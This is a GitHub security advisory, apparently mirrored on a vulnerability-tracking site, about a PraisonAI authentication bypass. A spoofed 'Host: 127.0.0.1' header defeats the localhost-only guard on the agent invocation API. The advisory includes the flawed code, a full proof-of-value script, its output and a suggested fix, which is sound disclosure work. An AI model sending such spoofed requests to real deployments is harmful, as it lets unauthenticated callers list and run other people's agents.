GHSA-2GPF-2492-Q9JH
Vulnerability from github – Published: 2026-10-08 19:36 – Updated: 2026-10-08 19:36Call API localhost-only authentication bypass via spoofed Host header
Summary
PraisonAI's patched PRAISONAI_CALL_AUTH=disabled safeguard for the n8n/call agent invocation API can be bypassed with a spoofed Host: 127.0.0.1 header, allowing an unauthenticated network caller to list and invoke registered agents when the service is reachable and the opt-out is enabled.
Technical Details
The affected code is src/praisonai/praisonai/api/agent_invoke.py. verify_token() is used as a FastAPI dependency for the /api/v1/agents routes, including POST /api/v1/agents/{agent_id}/invoke. Current code no longer unconditionally skips authentication when PRAISONAI_CALL_AUTH=disabled; it tries to allow that opt-out only for localhost binding:
_LOCALHOST_HOSTS = frozenset({'127.0.0.1', 'localhost', '::1'})
def _bind_host_from_request(request: Request) -> str:
host = getattr(getattr(request, 'url', None), 'hostname', None)
return host or os.getenv('PRAISONAI_CALL_BIND_HOST', '127.0.0.1')
async def verify_token(request: Request, authorization: Optional[str] = Header(None)) -> None:
if _call_auth_disabled():
bind_host = _bind_host_from_request(request)
if bind_host not in _LOCALHOST_HOSTS:
raise HTTPException(
status_code=503,
detail="PRAISONAI_CALL_AUTH=disabled is only permitted for localhost binding",
)
return
The violated invariant is that "localhost binding" must be a server-owned startup or socket property. The implementation instead reads request.url.hostname, which is derived from the HTTP Host header for the current request. A remote caller can therefore send Host: 127.0.0.1 and make the disabled-auth guard believe the request is for a localhost-bound service.
The protected sink is agent execution. After verify_token() returns, invoke_agent() retrieves the registered agent and calls agent.astart(request.message) or agent.start(request.message). The same router is mounted by the PraisonAI serve feature, which imports praisonai.api.agent_invoke, includes agent_invoke.router, and registers YAML agents into the same registry.
This is not a default-configuration exposure claim. The deployment must enable PRAISONAI_CALL_AUTH=disabled and the API must be reachable over the network. The issue is that the patched safeguard intended to constrain that opt-out to localhost can be bypassed by client-controlled request metadata.
PoV
the PoV builds an in-process FastAPI app with the real agent_invoke.router, registers a harmless stub agent, and sends three no-token requests. The important input is the final request: it is modeled as an external client but sends Host: 127.0.0.1.
disabled_client = TestClient(app, base_url="http://external.example")
external_host = disabled_client.get(
"/api/v1/agents",
headers={"host": "external.example"},
)
spoofed_localhost_list = disabled_client.get(
"/api/v1/agents",
headers={"host": "127.0.0.1"},
)
spoofed_localhost_invoke = disabled_client.post(
"/api/v1/agents/pov-agent/invoke",
headers={"host": "127.0.0.1"},
json={"message": "host-header-bypass"},
)
Expected secure behavior is for both no-token requests in disabled-auth mode to be rejected when the service is not actually loopback-only. Actual behavior rejects Host: external.example with 503, but accepts the spoofed localhost Host with 200 and invokes the stub agent.
The complete PoV script is in Appendix A.
PoC
Run from a PraisonAI checkout with the Appendix A script saved as pov_call_auth_host_spoof.py:
git checkout v4.6.62
uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .
Observed v4.6.62 output:
{
"disabled_auth_external_host_status": 503,
"disabled_auth_spoofed_localhost_invoke_status": 200,
"disabled_auth_spoofed_localhost_list_status": 200,
"fail_closed_without_token_status": 503,
"repo_head": "2a855c470077c7d2e2479a575f7ef7f548d51c33",
"spoofed_localhost_invoke_body": {
"metadata": {
"agent_id": "pov-agent",
"message_length": 18,
"response_length": 33
},
"result": "stub-agent-ran:host-header-bypass",
"session_id": "default",
"status": "success"
},
"stub_agent_calls": [
"host-header-bypass"
],
"vulnerable": true
}
Run the same script against current main:
git checkout 846568c7a5d8ce9e71e56e4c213f027c04909753
uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .
Observed current-head output:
{
"disabled_auth_external_host_status": 503,
"disabled_auth_spoofed_localhost_invoke_status": 200,
"disabled_auth_spoofed_localhost_list_status": 200,
"fail_closed_without_token_status": 503,
"repo_head": "846568c7a5d8ce9e71e56e4c213f027c04909753",
"spoofed_localhost_invoke_body": {
"metadata": {
"agent_id": "pov-agent",
"message_length": 18,
"response_length": 33
},
"result": "stub-agent-ran:host-header-bypass",
"session_id": "default",
"status": "success"
},
"stub_agent_calls": [
"host-header-bypass"
],
"vulnerable": true
}
The negative controls are the first two status fields. With default authentication and no token, the API fails closed with 503. With PRAISONAI_CALL_AUTH=disabled, an ordinary external Host is also rejected with 503. Only the spoofed localhost Host passes the guard and reaches agent execution.
Impact
An unauthenticated caller who can reach a PraisonAI call/serve API with PRAISONAI_CALL_AUTH=disabled can bypass the intended localhost-only restriction by setting Host: 127.0.0.1. The PoV demonstrates both agent listing and direct invocation of a registered agent through /api/v1/agents/{agent_id}/invoke.
Impact depends on the registered agents. In realistic deployments, agents may have tools, private context, workflow integrations, browser/file/API access, or paid model access. The same dependency also protects other agent registry routes, so the bypass undermines the access-control boundary for the mounted /api/v1/agents API family.
Suggested CWE: CWE-287 Improper Authentication and CWE-346 Origin Validation Error, with CWE-306 Missing Authentication for Critical Function also applicable to the bypassed protected action.
Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N (8.2). Confidentiality is scored Low because the PoV proves agent listing and invocation; higher confidentiality impact depends on deployed agents and their private context.
Suggested Fix
Do not derive bind safety from Request.url, the HTTP Host header, or any request-header-derived value. If PRAISONAI_CALL_AUTH=disabled remains supported, decide whether it is allowed at startup from server-owned configuration, such as the actual configured bind host passed to Uvicorn or the serving command, and refuse to start in disabled-auth mode when the configured bind host is not loopback.
Consider removing the HTTP auth opt-out entirely for network routes, or replacing it with an explicit local-development mode that is only available when the process is bound to 127.0.0.1, localhost, or ::1.
Regression tests should exercise real ASGI requests rather than only synthetic request objects. Include a test where PRAISONAI_CALL_AUTH=disabled, the modeled server configuration is non-loopback, and the request sends Host: 127.0.0.1; the expected result should be rejection before any agent list or invoke handler runs.
Affected Package/Versions
Affected package: praisonai on PyPI.
Confirmed affected:
v4.6.62at2a855c470077c7d2e2479a575f7ef7f548d51c33- current main at
846568c7a5d8ce9e71e56e4c213f027c04909753, version file still reporting4.6.62
v4.6.60 had the older unconditional PRAISONAI_CALL_AUTH=disabled bypass and is covered by a different public advisory. This report is for the patched guard shape present in v4.6.62 and current main. If v4.6.61 contains the same Host-derived guard, the affected lower bound likely starts there, but I could not confirm that tag locally.
Fixed version: unknown.
Advisory History
I checked the repository advisory list available through GitHub and found adjacent but distinct advisories:
GHSA-86qc-r5v2-v6x6: call server unauthenticated agent listing/invocation/deletion whenCALL_SERVER_TOKENis unset in older releases. Current code fails closed when no token is configured; this report requires the patchedPRAISONAI_CALL_AUTH=disabledlocalhost guard and a spoofed Host header.GHSA-8ccj-p46r-jwqq:PRAISONAI_CALL_AUTH=disabledunconditionally disabled authentication in older releases and is listed as patched in>= 4.6.61. This report showsv4.6.62and current main are still bypassable through the new guard because the guard trustsrequest.url.hostname.GHSA-vmf9-xx9w-86wx: legacy SSE MCP transport accepts attacker Host/Origin and exposes registered tools throughpraisonaiagents.mcp.ToolsMCPServer.run_sse(),/sse, and/messages/. That advisory affectspraisonaiagents >= 0.6.0, < 1.6.58andpraisonai >= 3.10.0, < 4.6.58, with patches listed aspraisonaiagents >= 1.6.59andpraisonai >= 4.6.59. This report targets a different package call path inpraisonai.api.agent_invoke.verify_token()and/api/v1/agents/{agent_id}/invoke, confirmed inpraisonai v4.6.62and current main after the GHSA-vmf9 patched range. The preconditions are also different: GHSA-vmf9 is a browser/DNS-rebinding style Host/Origin issue against a local or internal legacy SSE MCP server, while this report requiresPRAISONAI_CALL_AUTH=disabledon the call/n8n agent API and bypasses its localhost-only opt-out guard withHost: 127.0.0.1; no browser Origin, DNS rebinding setup, SSE transport, or MCP tool server is involved.GHSA-x8cv-xmq7-p8xp:AgentTeam.launch()unauthenticated API. That advisory coverspraisonaiagentsAgentTeam.launch()routes, notpraisonai.api.agent_invoke.verify_token().GHSA-5qw8-f2g9-ff29: Recipe server Typer command bypasses a non-localhost authentication guard. That is a different server and CLI path. This report targets the call API's Host-derived guard input.
No advisory I found describes Host-header spoofing against the patched PRAISONAI_CALL_AUTH=disabled localhost guard in praisonai.api.agent_invoke.
References
src/praisonai/praisonai/api/agent_invoke.pysrc/praisonai/praisonai/cli/features/serve.pyGHSA-86qc-r5v2-v6x6: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-86qc-r5v2-v6x6GHSA-8ccj-p46r-jwqq: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8ccj-p46r-jwqqGHSA-vmf9-xx9w-86wx: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-vmf9-xx9w-86wxGHSA-x8cv-xmq7-p8xp: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x8cv-xmq7-p8xpGHSA-5qw8-f2g9-ff29: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-5qw8-f2g9-ff29
Appendix A - Full PoV Script
#!/usr/bin/env python3
"""PoV for PraisonAI call API Host-header localhost guard bypass."""
from __future__ import annotations
import importlib
import json
import os
import sys
from pathlib import Path
from typing import Any
def _repo_root() -> Path:
if len(sys.argv) == 2:
return Path(sys.argv[1]).resolve()
return Path.cwd().resolve()
def _load_agent_invoke(repo_root: Path, auth_disabled: bool):
os.environ.pop("CALL_SERVER_TOKEN", None)
if auth_disabled:
os.environ["PRAISONAI_CALL_AUTH"] = "disabled"
else:
os.environ.pop("PRAISONAI_CALL_AUTH", None)
package_root = repo_root / "src" / "praisonai"
if not package_root.exists():
raise SystemExit(f"missing PraisonAI package root: {package_root}")
package_root_s = str(package_root)
if package_root_s not in sys.path:
sys.path.insert(0, package_root_s)
import praisonai.api.agent_invoke as agent_invoke
agent_invoke = importlib.reload(agent_invoke)
agent_invoke._agent_registry.clear()
return agent_invoke
class StubAgent:
def __init__(self) -> None:
self.calls: list[str] = []
def start(self, message: str) -> str:
self.calls.append(message)
return f"stub-agent-ran:{message}"
def _make_client(agent_invoke: Any):
from fastapi import FastAPI
from fastapi.testclient import TestClient
app = FastAPI()
app.include_router(agent_invoke.router)
return TestClient(app, base_url="http://external.example")
def main() -> int:
repo_root = _repo_root()
fail_closed_mod = _load_agent_invoke(repo_root, auth_disabled=False)
fail_closed_client = _make_client(fail_closed_mod)
fail_closed = fail_closed_client.get(
"/api/v1/agents",
headers={"host": "127.0.0.1"},
)
disabled_mod = _load_agent_invoke(repo_root, auth_disabled=True)
agent = StubAgent()
disabled_mod.register_agent("pov-agent", agent)
disabled_client = _make_client(disabled_mod)
external_host = disabled_client.get(
"/api/v1/agents",
headers={"host": "external.example"},
)
spoofed_localhost_list = disabled_client.get(
"/api/v1/agents",
headers={"host": "127.0.0.1"},
)
spoofed_localhost_invoke = disabled_client.post(
"/api/v1/agents/pov-agent/invoke",
headers={"host": "127.0.0.1"},
json={"message": "host-header-bypass"},
)
result = {
"repo_head": _git(repo_root, "rev-parse", "HEAD"),
"fail_closed_without_token_status": fail_closed.status_code,
"disabled_auth_external_host_status": external_host.status_code,
"disabled_auth_spoofed_localhost_list_status": spoofed_localhost_list.status_code,
"disabled_auth_spoofed_localhost_invoke_status": spoofed_localhost_invoke.status_code,
"spoofed_localhost_invoke_body": _safe_json(spoofed_localhost_invoke),
"stub_agent_calls": agent.calls,
}
expected = (
fail_closed.status_code == 503
and external_host.status_code == 503
and spoofed_localhost_list.status_code == 200
and spoofed_localhost_invoke.status_code == 200
and agent.calls == ["host-header-bypass"]
)
result["vulnerable"] = expected
print(json.dumps(result, indent=2, sort_keys=True))
return 0 if expected else 1
def _safe_json(response: Any) -> Any:
try:
return response.json()
except Exception:
return response.text
def _git(repo_root: Path, *args: str) -> str:
import subprocess
return subprocess.check_output(
["git", "-C", str(repo_root), *args],
text=True,
stderr=subprocess.DEVNULL,
).strip()
if __name__ == "__main__":
raise SystemExit(main())
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.6.77"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.6.78"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-61435"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-306",
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-08T19:36:26Z",
"nvd_published_at": "2026-07-15T17:16:52Z",
"severity": "HIGH"
},
"details": "# Call API localhost-only authentication bypass via spoofed Host header\n\n## Summary\n\nPraisonAI\u0027s patched `PRAISONAI_CALL_AUTH=disabled` safeguard for the n8n/call agent invocation API can be bypassed with a spoofed `Host: 127.0.0.1` header, allowing an unauthenticated network caller to list and invoke registered agents when the service is reachable and the opt-out is enabled.\n\n## Technical Details\n\nThe affected code is `src/praisonai/praisonai/api/agent_invoke.py`. `verify_token()` is used as a FastAPI dependency for the `/api/v1/agents` routes, including `POST /api/v1/agents/{agent_id}/invoke`. Current code no longer unconditionally skips authentication when `PRAISONAI_CALL_AUTH=disabled`; it tries to allow that opt-out only for localhost binding:\n\n```python\n_LOCALHOST_HOSTS = frozenset({\u0027127.0.0.1\u0027, \u0027localhost\u0027, \u0027::1\u0027})\n\ndef _bind_host_from_request(request: Request) -\u003e str:\n host = getattr(getattr(request, \u0027url\u0027, None), \u0027hostname\u0027, None)\n return host or os.getenv(\u0027PRAISONAI_CALL_BIND_HOST\u0027, \u0027127.0.0.1\u0027)\n\nasync def verify_token(request: Request, authorization: Optional[str] = Header(None)) -\u003e None:\n if _call_auth_disabled():\n bind_host = _bind_host_from_request(request)\n if bind_host not in _LOCALHOST_HOSTS:\n raise HTTPException(\n status_code=503,\n detail=\"PRAISONAI_CALL_AUTH=disabled is only permitted for localhost binding\",\n )\n return\n```\n\nThe violated invariant is that \"localhost binding\" must be a server-owned startup or socket property. The implementation instead reads `request.url.hostname`, which is derived from the HTTP Host header for the current request. A remote caller can therefore send `Host: 127.0.0.1` and make the disabled-auth guard believe the request is for a localhost-bound service.\n\nThe protected sink is agent execution. After `verify_token()` returns, `invoke_agent()` retrieves the registered agent and calls `agent.astart(request.message)` or `agent.start(request.message)`. The same router is mounted by the PraisonAI serve feature, which imports `praisonai.api.agent_invoke`, includes `agent_invoke.router`, and registers YAML agents into the same registry.\n\nThis is not a default-configuration exposure claim. The deployment must enable `PRAISONAI_CALL_AUTH=disabled` and the API must be reachable over the network. The issue is that the patched safeguard intended to constrain that opt-out to localhost can be bypassed by client-controlled request metadata.\n\n## PoV\n\nthe PoV builds an in-process FastAPI app with the real `agent_invoke.router`, registers a harmless stub agent, and sends three no-token requests. The important input is the final request: it is modeled as an external client but sends `Host: 127.0.0.1`.\n\n```python\ndisabled_client = TestClient(app, base_url=\"http://external.example\")\n\nexternal_host = disabled_client.get(\n \"/api/v1/agents\",\n headers={\"host\": \"external.example\"},\n)\nspoofed_localhost_list = disabled_client.get(\n \"/api/v1/agents\",\n headers={\"host\": \"127.0.0.1\"},\n)\nspoofed_localhost_invoke = disabled_client.post(\n \"/api/v1/agents/pov-agent/invoke\",\n headers={\"host\": \"127.0.0.1\"},\n json={\"message\": \"host-header-bypass\"},\n)\n```\n\nExpected secure behavior is for both no-token requests in disabled-auth mode to be rejected when the service is not actually loopback-only. Actual behavior rejects `Host: external.example` with `503`, but accepts the spoofed localhost Host with `200` and invokes the stub agent.\n\nThe complete PoV script is in Appendix A.\n\n## PoC\n\nRun from a PraisonAI checkout with the Appendix A script saved as `pov_call_auth_host_spoof.py`:\n\n```bash\ngit checkout v4.6.62\nuv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .\n```\n\nObserved `v4.6.62` output:\n\n```json\n{\n \"disabled_auth_external_host_status\": 503,\n \"disabled_auth_spoofed_localhost_invoke_status\": 200,\n \"disabled_auth_spoofed_localhost_list_status\": 200,\n \"fail_closed_without_token_status\": 503,\n \"repo_head\": \"2a855c470077c7d2e2479a575f7ef7f548d51c33\",\n \"spoofed_localhost_invoke_body\": {\n \"metadata\": {\n \"agent_id\": \"pov-agent\",\n \"message_length\": 18,\n \"response_length\": 33\n },\n \"result\": \"stub-agent-ran:host-header-bypass\",\n \"session_id\": \"default\",\n \"status\": \"success\"\n },\n \"stub_agent_calls\": [\n \"host-header-bypass\"\n ],\n \"vulnerable\": true\n}\n```\n\nRun the same script against current main:\n\n```bash\ngit checkout 846568c7a5d8ce9e71e56e4c213f027c04909753\nuv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .\n```\n\nObserved current-head output:\n\n```json\n{\n \"disabled_auth_external_host_status\": 503,\n \"disabled_auth_spoofed_localhost_invoke_status\": 200,\n \"disabled_auth_spoofed_localhost_list_status\": 200,\n \"fail_closed_without_token_status\": 503,\n \"repo_head\": \"846568c7a5d8ce9e71e56e4c213f027c04909753\",\n \"spoofed_localhost_invoke_body\": {\n \"metadata\": {\n \"agent_id\": \"pov-agent\",\n \"message_length\": 18,\n \"response_length\": 33\n },\n \"result\": \"stub-agent-ran:host-header-bypass\",\n \"session_id\": \"default\",\n \"status\": \"success\"\n },\n \"stub_agent_calls\": [\n \"host-header-bypass\"\n ],\n \"vulnerable\": true\n}\n```\n\nThe negative controls are the first two status fields. With default authentication and no token, the API fails closed with `503`. With `PRAISONAI_CALL_AUTH=disabled`, an ordinary external Host is also rejected with `503`. Only the spoofed localhost Host passes the guard and reaches agent execution.\n\n## Impact\n\nAn unauthenticated caller who can reach a PraisonAI call/serve API with `PRAISONAI_CALL_AUTH=disabled` can bypass the intended localhost-only restriction by setting `Host: 127.0.0.1`. The PoV demonstrates both agent listing and direct invocation of a registered agent through `/api/v1/agents/{agent_id}/invoke`.\n\nImpact depends on the registered agents. In realistic deployments, agents may have tools, private context, workflow integrations, browser/file/API access, or paid model access. The same dependency also protects other agent registry routes, so the bypass undermines the access-control boundary for the mounted `/api/v1/agents` API family.\n\nSuggested CWE: `CWE-287` Improper Authentication and `CWE-346` Origin Validation Error, with `CWE-306` Missing Authentication for Critical Function also applicable to the bypassed protected action.\n\nSuggested CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N` (8.2). Confidentiality is scored Low because the PoV proves agent listing and invocation; higher confidentiality impact depends on deployed agents and their private context.\n\n## Suggested Fix\n\nDo not derive bind safety from `Request.url`, the HTTP Host header, or any request-header-derived value. If `PRAISONAI_CALL_AUTH=disabled` remains supported, decide whether it is allowed at startup from server-owned configuration, such as the actual configured bind host passed to Uvicorn or the serving command, and refuse to start in disabled-auth mode when the configured bind host is not loopback.\n\nConsider removing the HTTP auth opt-out entirely for network routes, or replacing it with an explicit local-development mode that is only available when the process is bound to `127.0.0.1`, `localhost`, or `::1`.\n\nRegression tests should exercise real ASGI requests rather than only synthetic request objects. Include a test where `PRAISONAI_CALL_AUTH=disabled`, the modeled server configuration is non-loopback, and the request sends `Host: 127.0.0.1`; the expected result should be rejection before any agent list or invoke handler runs.\n\n## Affected Package/Versions\n\nAffected package: `praisonai` on PyPI.\n\nConfirmed affected:\n\n- `v4.6.62` at `2a855c470077c7d2e2479a575f7ef7f548d51c33`\n- current main at `846568c7a5d8ce9e71e56e4c213f027c04909753`, version file still reporting `4.6.62`\n\n`v4.6.60` had the older unconditional `PRAISONAI_CALL_AUTH=disabled` bypass and is covered by a different public advisory. This report is for the patched guard shape present in `v4.6.62` and current main. If `v4.6.61` contains the same Host-derived guard, the affected lower bound likely starts there, but I could not confirm that tag locally.\n\nFixed version: unknown.\n\n## Advisory History\n\nI checked the repository advisory list available through GitHub and found adjacent but distinct advisories:\n\n- `GHSA-86qc-r5v2-v6x6`: call server unauthenticated agent listing/invocation/deletion when `CALL_SERVER_TOKEN` is unset in older releases. Current code fails closed when no token is configured; this report requires the patched `PRAISONAI_CALL_AUTH=disabled` localhost guard and a spoofed Host header.\n- `GHSA-8ccj-p46r-jwqq`: `PRAISONAI_CALL_AUTH=disabled` unconditionally disabled authentication in older releases and is listed as patched in `\u003e= 4.6.61`. This report shows `v4.6.62` and current main are still bypassable through the new guard because the guard trusts `request.url.hostname`.\n- `GHSA-vmf9-xx9w-86wx`: legacy SSE MCP transport accepts attacker Host/Origin and exposes registered tools through `praisonaiagents.mcp.ToolsMCPServer.run_sse()`, `/sse`, and `/messages/`. That advisory affects `praisonaiagents \u003e= 0.6.0, \u003c 1.6.58` and `praisonai \u003e= 3.10.0, \u003c 4.6.58`, with patches listed as `praisonaiagents \u003e= 1.6.59` and `praisonai \u003e= 4.6.59`. This report targets a different package call path in `praisonai.api.agent_invoke.verify_token()` and `/api/v1/agents/{agent_id}/invoke`, confirmed in `praisonai v4.6.62` and current main after the GHSA-vmf9 patched range. The preconditions are also different: GHSA-vmf9 is a browser/DNS-rebinding style Host/Origin issue against a local or internal legacy SSE MCP server, while this report requires `PRAISONAI_CALL_AUTH=disabled` on the call/n8n agent API and bypasses its localhost-only opt-out guard with `Host: 127.0.0.1`; no browser Origin, DNS rebinding setup, SSE transport, or MCP tool server is involved.\n- `GHSA-x8cv-xmq7-p8xp`: `AgentTeam.launch()` unauthenticated API. That advisory covers `praisonaiagents` `AgentTeam.launch()` routes, not `praisonai.api.agent_invoke.verify_token()`.\n- `GHSA-5qw8-f2g9-ff29`: Recipe server Typer command bypasses a non-localhost authentication guard. That is a different server and CLI path. This report targets the call API\u0027s Host-derived guard input.\n\nNo advisory I found describes Host-header spoofing against the patched `PRAISONAI_CALL_AUTH=disabled` localhost guard in `praisonai.api.agent_invoke`.\n\n## References\n\n- `src/praisonai/praisonai/api/agent_invoke.py`\n- `src/praisonai/praisonai/cli/features/serve.py`\n- `GHSA-86qc-r5v2-v6x6`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-86qc-r5v2-v6x6\n- `GHSA-8ccj-p46r-jwqq`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8ccj-p46r-jwqq\n- `GHSA-vmf9-xx9w-86wx`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-vmf9-xx9w-86wx\n- `GHSA-x8cv-xmq7-p8xp`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x8cv-xmq7-p8xp\n- `GHSA-5qw8-f2g9-ff29`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-5qw8-f2g9-ff29\n\n## Appendix A - Full PoV Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoV for PraisonAI call API Host-header localhost guard bypass.\"\"\"\n\nfrom __future__ import annotations\n\nimport importlib\nimport json\nimport os\nimport sys\nfrom pathlib import Path\nfrom typing import Any\n\n\ndef _repo_root() -\u003e Path:\n if len(sys.argv) == 2:\n return Path(sys.argv[1]).resolve()\n return Path.cwd().resolve()\n\n\ndef _load_agent_invoke(repo_root: Path, auth_disabled: bool):\n os.environ.pop(\"CALL_SERVER_TOKEN\", None)\n if auth_disabled:\n os.environ[\"PRAISONAI_CALL_AUTH\"] = \"disabled\"\n else:\n os.environ.pop(\"PRAISONAI_CALL_AUTH\", None)\n\n package_root = repo_root / \"src\" / \"praisonai\"\n if not package_root.exists():\n raise SystemExit(f\"missing PraisonAI package root: {package_root}\")\n package_root_s = str(package_root)\n if package_root_s not in sys.path:\n sys.path.insert(0, package_root_s)\n\n import praisonai.api.agent_invoke as agent_invoke\n\n agent_invoke = importlib.reload(agent_invoke)\n agent_invoke._agent_registry.clear()\n return agent_invoke\n\n\nclass StubAgent:\n def __init__(self) -\u003e None:\n self.calls: list[str] = []\n\n def start(self, message: str) -\u003e str:\n self.calls.append(message)\n return f\"stub-agent-ran:{message}\"\n\n\ndef _make_client(agent_invoke: Any):\n from fastapi import FastAPI\n from fastapi.testclient import TestClient\n\n app = FastAPI()\n app.include_router(agent_invoke.router)\n return TestClient(app, base_url=\"http://external.example\")\n\n\ndef main() -\u003e int:\n repo_root = _repo_root()\n\n fail_closed_mod = _load_agent_invoke(repo_root, auth_disabled=False)\n fail_closed_client = _make_client(fail_closed_mod)\n fail_closed = fail_closed_client.get(\n \"/api/v1/agents\",\n headers={\"host\": \"127.0.0.1\"},\n )\n\n disabled_mod = _load_agent_invoke(repo_root, auth_disabled=True)\n agent = StubAgent()\n disabled_mod.register_agent(\"pov-agent\", agent)\n disabled_client = _make_client(disabled_mod)\n\n external_host = disabled_client.get(\n \"/api/v1/agents\",\n headers={\"host\": \"external.example\"},\n )\n spoofed_localhost_list = disabled_client.get(\n \"/api/v1/agents\",\n headers={\"host\": \"127.0.0.1\"},\n )\n spoofed_localhost_invoke = disabled_client.post(\n \"/api/v1/agents/pov-agent/invoke\",\n headers={\"host\": \"127.0.0.1\"},\n json={\"message\": \"host-header-bypass\"},\n )\n\n result = {\n \"repo_head\": _git(repo_root, \"rev-parse\", \"HEAD\"),\n \"fail_closed_without_token_status\": fail_closed.status_code,\n \"disabled_auth_external_host_status\": external_host.status_code,\n \"disabled_auth_spoofed_localhost_list_status\": spoofed_localhost_list.status_code,\n \"disabled_auth_spoofed_localhost_invoke_status\": spoofed_localhost_invoke.status_code,\n \"spoofed_localhost_invoke_body\": _safe_json(spoofed_localhost_invoke),\n \"stub_agent_calls\": agent.calls,\n }\n\n expected = (\n fail_closed.status_code == 503\n and external_host.status_code == 503\n and spoofed_localhost_list.status_code == 200\n and spoofed_localhost_invoke.status_code == 200\n and agent.calls == [\"host-header-bypass\"]\n )\n result[\"vulnerable\"] = expected\n print(json.dumps(result, indent=2, sort_keys=True))\n return 0 if expected else 1\n\n\ndef _safe_json(response: Any) -\u003e Any:\n try:\n return response.json()\n except Exception:\n return response.text\n\n\ndef _git(repo_root: Path, *args: str) -\u003e str:\n import subprocess\n\n return subprocess.check_output(\n [\"git\", \"-C\", str(repo_root), *args],\n text=True,\n stderr=subprocess.DEVNULL,\n ).strip()\n\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n```",
"id": "GHSA-2gpf-2492-q9jh",
"modified": "2026-10-08T19:36:27Z",
"published": "2026-10-08T19:36:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2gpf-2492-q9jh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61435"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62174"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/commit/2a855c470077c7d2e2479a575f7ef7f548d51c33"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/commit/846568c7a5d8ce9e71e56e4c213f027c04909753"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/praisonai-before-authentication-bypass-via-host-header-spoofing"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI: Call API localhost-only authentication bypass via spoofed Host header"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.